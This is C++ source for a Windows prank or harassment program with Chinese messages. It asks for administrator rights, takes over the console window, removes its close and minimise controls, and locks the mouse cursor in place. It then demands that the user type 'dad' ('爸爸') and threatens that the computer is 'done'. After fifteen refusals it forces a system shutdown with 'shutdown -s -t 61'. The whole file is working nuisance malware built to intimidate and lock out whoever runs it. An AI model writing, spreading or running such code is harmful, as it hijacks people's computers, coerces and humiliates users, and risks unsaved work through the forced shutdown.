#include <bits/stdc++.h>
#include <windows.h>
#include <shellapi.h>
using namespace std;
int cnt,ccnt;
RECT g_lockRect;
bool g_isLocked = true;
HHOOK g_mouseHook = NULL;
#pragma comment(lib, "shell32.lib")
bool ElevateToAdmin() {
    wchar_t szPath[MAX_PATH];
    if (GetModuleFileNameW(NULL, szPath, ARRAYSIZE(szPath))) {
        SHELLEXECUTEINFOW sei = { sizeof(sei) };
        sei.lpVerb = L"runas";
        sei.lpFile = szPath;
        sei.hwnd = NULL;
        sei.nShow = SW_NORMAL;
        
        if (ShellExecuteExW(&sei)) {
            return true;
        }
    }
    return false;
}
bool IsUserAdmin() {
    HANDLE hToken = NULL;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
        TOKEN_ELEVATION elevation;
        DWORD dwSize;
        if (GetTokenInformation(hToken, TokenElevation, &elevation, 
                                sizeof(elevation), &dwSize)) {
            CloseHandle(hToken);
            return elevation.TokenIsElevated != 0;
        }
        CloseHandle(hToken);
    }
    return false;
}
void PreventMinimizeMaximize() {
    HWND hwnd = GetConsoleWindow();
    if (hwnd) {
        LONG_PTR style = GetWindowLongPtr(hwnd, GWL_STYLE);
        style &= ~(WS_MINIMIZEBOX | WS_MAXIMIZEBOX | WS_THICKFRAME);
        SetWindowLongPtr(hwnd, GWL_STYLE, style);
        HMENU hMenu = GetSystemMenu(hwnd, FALSE);
        if (hMenu) {
            DeleteMenu(hMenu, SC_MINIMIZE, MF_BYCOMMAND);
            DeleteMenu(hMenu, SC_MAXIMIZE, MF_BYCOMMAND);
            DeleteMenu(hMenu, SC_RESTORE, MF_BYCOMMAND);
            DeleteMenu(hMenu, SC_SIZE, MF_BYCOMMAND);
            DrawMenuBar(hwnd);
        }
        SetWindowPos(hwnd, NULL, 0, 0, 0, 0, 
                    SWP_NOMOVE | SWP_NOSIZE | SWP_NOZORDER | SWP_FRAMECHANGED);
    }
}
LRESULT CALLBACK MouseHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= 0 && g_isLocked) {
        if (wParam == WM_LBUTTONDOWN || wParam == WM_RBUTTONDOWN || 
            wParam == WM_MBUTTONDOWN || wParam == WM_XBUTTONDOWN) {
            std::cout << "阻止了鼠标点击" << std::endl;
            return 1;
        }
    }
    return CallNextHookEx(g_mouseHook, nCode, wParam, lParam);
}
bool InstallMouseHook() {
    g_mouseHook = SetWindowsHookEx(WH_MOUSE_LL, MouseHookProc, 
                                   GetModuleHandle(NULL), 0);
    if (g_mouseHook == NULL) {
        std::cerr << "安装鼠标钩子失败!错误代码: " << GetLastError() << std::endl;
        return false;
    }
    return true;
}
void UninstallMouseHook() {
    if (g_mouseHook != NULL) {
        UnhookWindowsHookEx(g_mouseHook);
        g_mouseHook = NULL;
    }
}
void print(){
	system("title 叫爸爸!");
	string input;
    std::cout << "叫100次爸爸就放过你一次!"<<endl;
    while (true) {
        cnt++; 
        std::getline(std::cin, input);
        if (input == "爸爸" || input == "dad" ) {
            std::cout << "好!不错不错,现在叫了" <<cnt<<"次"<<std::endl;
            system("pause");
            break;
        }else if(input != "爸爸" && input != "dad" ){
        	if(ccnt==15){
        		system("shutdown -s -t 61");
        		MessageBox(NULL,"算了,放你出去吧,随便按一个按键就能出去了","等掉",MB_OK);
        		system("pause");
			}
        	MessageBox(NULL,"快点叫,不然你的电脑就完了","等掉",MB_OK);
        	ccnt++; 
		}
    }
}
void DisableCloseButton() {
    HWND hwnd = GetConsoleWindow();
    if (hwnd != NULL) {
        HMENU hMenu = GetSystemMenu(hwnd, FALSE);
        if (hMenu != NULL) {
            DeleteMenu(hMenu, SC_CLOSE, MF_BYCOMMAND);
            DrawMenuBar(hwnd);
        }
    }
}
void LockMouseAtCurrentPosition() {
    POINT currentPos;
    if (GetCursorPos(&currentPos)) {
        g_lockRect.left = currentPos.x;
        g_lockRect.right = currentPos.x + 1;
        g_lockRect.top = currentPos.y;
        g_lockRect.bottom = currentPos.y + 1;
        
        if (ClipCursor(&g_lockRect)) {
            
        } else {
            std::cerr << "锁定鼠标失败!错误代码: " << GetLastError() << std::endl;
        }
    }
}
void UnlockMouse() {
    ClipCursor(NULL);
    g_isLocked = false;
}
bool IsRunAsAdmin() {
    BOOL isAdmin = FALSE;
    HANDLE hToken = NULL;
    
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
        TOKEN_ELEVATION elevation;
        DWORD size = sizeof(TOKEN_ELEVATION);
        
        if (GetTokenInformation(hToken, TokenElevation, &elevation, size, &size)) {
            isAdmin = elevation.TokenIsElevated;
        }
        CloseHandle(hToken);
    }
    
    return isAdmin == TRUE;
}

int main(int argc, char* argv[]) {
	if (!IsUserAdmin()) {
        std::cout << "需要管理员权限,正在请求提升..." << std::endl;
        if (ElevateToAdmin()) {
            return 0;
        } else {
            DWORD error = GetLastError();
            if (error == ERROR_CANCELLED) {
                std::cout << "用户拒绝了权限请求。" << std::endl;
            } else {
                std::cout << "权限提升失败,错误码: " << error << std::endl;
            }
            return 1;
        }
    }
    PreventMinimizeMaximize();
    HWND consoleWindow = GetConsoleWindow();
    ShowWindow(consoleWindow, SW_MAXIMIZE);
    DisableCloseButton();
    LockMouseAtCurrentPosition();
    print(); 
    UnlockMouse();
    UninstallMouseHook();
    return 0;
}